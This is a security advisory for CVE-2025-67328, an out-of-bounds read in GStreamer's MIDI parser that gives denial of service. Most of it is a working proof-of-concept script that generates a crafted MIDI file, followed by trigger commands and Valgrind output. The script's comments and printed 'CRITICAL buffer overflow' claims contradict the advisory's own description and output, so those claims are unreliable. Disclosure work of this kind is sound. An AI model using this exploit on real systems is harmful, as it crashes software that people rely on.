CVE-2025-67328: Out-of-Bounds Read in SysEx Event Parsing - GStreamer MIDI Parser

Dec 26, 2025

Details


Description

An out-of-bounds read in the handle_sysex_event() function of GStreamer Project v1.24.x allows attackers to cause a Denial of Service (DoS) via a crafted Midi file.

Attack Vectors

User must open or process a malicious MIDI file with a truncated System Exclusive (SysEx) event. The file contains a SysEx start byte (0xF0) at the end of track data without sufficient bytes for the terminating 0xF7 byte. When parsed by GStreamer’s midiparse element, the parser increments track->offset beyond buffer boundaries before checking size validity, resulting in out-of-bounds memory reads.

Steps to Reproduce

  1. Run following script to generate malicious MIDI file malicious.mid

    # exploit.py
    import struct
    
    def create_midi_header():
        """Create MIDI file header (MThd chunk)"""
        chunk_type = b'MThd'
        length = struct.pack('>I', 6)
        format_type = struct.pack('>H', 1)  # Format 1
        ntrks = struct.pack('>H', 2)        # 2 tracks
        division = struct.pack('>H', 480)   # 480 ticks per quarter note
        return chunk_type + length + format_type + ntrks + division
    
    def create_malicious_track():
        """Create track with oversized data to trigger memcpy overflow"""
        chunk_type = b'MTrk'
    
        # Craft delta time + event that will overflow during processing
        # Variable length encoding for delta time
        delta = bytes([0x00])  # No delay
    
        # System exclusive event (0xF0) with huge length
        # This triggers buffer allocation and memcpy
        sysex_start = bytes([0xF0])
    
        # Claim length is 4096 bytes but provide much more
        # Variable length encoding: 0x84 0x00 = 4096
        claimed_length = bytes([0x84, 0x00])
    
        # Actual oversized data (10KB to ensure overflow)
        overflow_data = b'EXPLOIT_PATTERN_' * 640  # 10240 bytes
    
        sysex_end = bytes([0xF7])  # End of sysex
    
        track_data = delta + sysex_start + claimed_length + overflow_data + sysex_end
    
        # Add end of track event
        track_data += bytes([0x00, 0xFF, 0x2F, 0x00])
    
        length = struct.pack('>I', len(track_data))
        return chunk_type + length + track_data
    
    def create_malicious_midi():
        """Generate complete malicious MIDI file"""
        header = create_midi_header()
        track1 = create_malicious_track()
        track2 = create_malicious_track()  # Second track for additional trigger
        return header + track1 + track2
    
    def main():
        print("=" * 70)
        print("GStreamer MIDI Parser Buffer Overflow POC")
        print("Severity: CRITICAL | Confidence: 8/10")
        print("=" * 70)
        print()
    
        output = "malicious.mid"
        data = create_malicious_midi()
    
        with open(output, 'wb') as f:
            f.write(data)
    
        print(f"[+] Generated {output} ({len(data)} bytes)")
        print()
        print("[*] Test: gst-launch-1.0 filesrc location=malicious.mid ! midiparse ! fakesink")
        print("[!] Expected crash in gst_midi_parse_src_query at line 321")
        print()
    
    if __name__ == "__main__":
        main()
    
    python3 exploit.py
    
  2. Run Valgrind to observe out-of-bounds read

    valgrind gst-launch-1.0 filesrc location=malicious.mid ! midiparse ! fakesink
    
  3. The Valgrind output shows invalid read in handle_sysex_event

Proof of Concept

Valgrind Output (GStreamer 1.24.2)

Key Evidence: Look for Invalid read of size 1 errors and Address 0x... is 1 bytes after a block of size 20,528 showing the out-of-bounds access in SysEx event handling.

==2284035== Memcheck, a memory error detector
==2284035== Copyright (C) 2002-2024, and GNU GPL'd, by Julian Seward et al.
==2284035== Using Valgrind-3.26.0 and LibVEX; rerun with -h for copyright info
==2284035== Command: gst-launch-1.0 filesrc location=malicious.mid ! midiparse ! fakesink
==2284035== 
Setting pipeline to PAUSED ...
Pipeline is PREROLLING ...
==2284035== Invalid read of size 1
==2284035==    at 0x4866128: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284035==    by 0x486738C: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284035==    by 0x4937BB3: ??? (in /usr/lib/x86_64-linux-gnu/libgstreamer-1.0.so.0.2402.0)
==2284035==    by 0x4A56531: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284035==    by 0x4A50D91: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284035==    by 0x4C0FAA3: start_thread (pthread_create.c:447)
==2284035==    by 0x4C9CA63: clone (clone.S:100)
==2284035==  Address 0x55c0f60 is 0 bytes after a block of size 20,528 alloc'd
==2284035==    at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==2284035==    by 0x4A27B09: g_malloc (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284035==    by 0x59CC82C: ??? (in /usr/lib/x86_64-linux-gnu/libgstbase-1.0.so.0.2402.0)
==2284035==    by 0x59CDCD2: gst_adapter_take (in /usr/lib/x86_64-linux-gnu/libgstbase-1.0.so.0.2402.0)
==2284035==    by 0x4866DDA: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284035==    by 0x4937BB3: ??? (in /usr/lib/x86_64-linux-gnu/libgstreamer-1.0.so.0.2402.0)
==2284035==    by 0x4A56531: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284035==    by 0x4A50D91: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284035==    by 0x4C0FAA3: start_thread (pthread_create.c:447)
==2284035==    by 0x4C9CA63: clone (clone.S:100)
==2284035== 
==2284035== Invalid read of size 1
==2284035==    at 0x486642E: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284035==    by 0x486738C: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284035==    by 0x4937BB3: ??? (in /usr/lib/x86_64-linux-gnu/libgstreamer-1.0.so.0.2402.0)
==2284035==    by 0x4A56531: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284035==    by 0x4A50D91: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284035==    by 0x4C0FAA3: start_thread (pthread_create.c:447)
==2284035==    by 0x4C9CA63: clone (clone.S:100)
==2284035==  Address 0x55c0f61 is 1 bytes after a block of size 20,528 alloc'd
==2284035==    at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==2284035==    by 0x4A27B09: g_malloc (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284035==    by 0x59CC82C: ??? (in /usr/lib/x86_64-linux-gnu/libgstbase-1.0.so.0.2402.0)
==2284035==    by 0x59CDCD2: gst_adapter_take (in /usr/lib/x86_64-linux-gnu/libgstbase-1.0.so.0.2402.0)
==2284035==    by 0x4866DDA: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284035==    by 0x4937BB3: ??? (in /usr/lib/x86_64-linux-gnu/libgstreamer-1.0.so.0.2402.0)
==2284035==    by 0x4A56531: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284035==    by 0x4A50D91: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284035==    by 0x4C0FAA3: start_thread (pthread_create.c:447)
==2284035==    by 0x4C9CA63: clone (clone.S:100)
==2284035== 
Pipeline is PREROLLED ...
Setting pipeline to PLAYING ...
ERROR: from element /GstPipeline:pipeline0/GstMidiParse:midiparse0: Internal data stream error.
Additional debug info:
../gst/midi/midiparse.c(1287): gst_midi_parse_loop (): /GstPipeline:pipeline0/GstMidiParse:midiparse0:
streaming stopped, reason error (-5)
Execution ended after 0:00:00.111600213
Setting pipeline to NULL ...
Freeing pipeline ...
==2284035== 
==2284035== HEAP SUMMARY:
==2284035==     in use at exit: 611,380 bytes in 1,738 blocks
==2284035==   total heap usage: 31,917 allocs, 30,179 frees, 3,979,445 bytes allocated
==2284035== 
==2284035== For a detailed leak analysis, rerun with: --leak-check=full
==2284035== 
==2284035== For lists of detected and suppressed errors, rerun with: -s
==2284035== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0)

References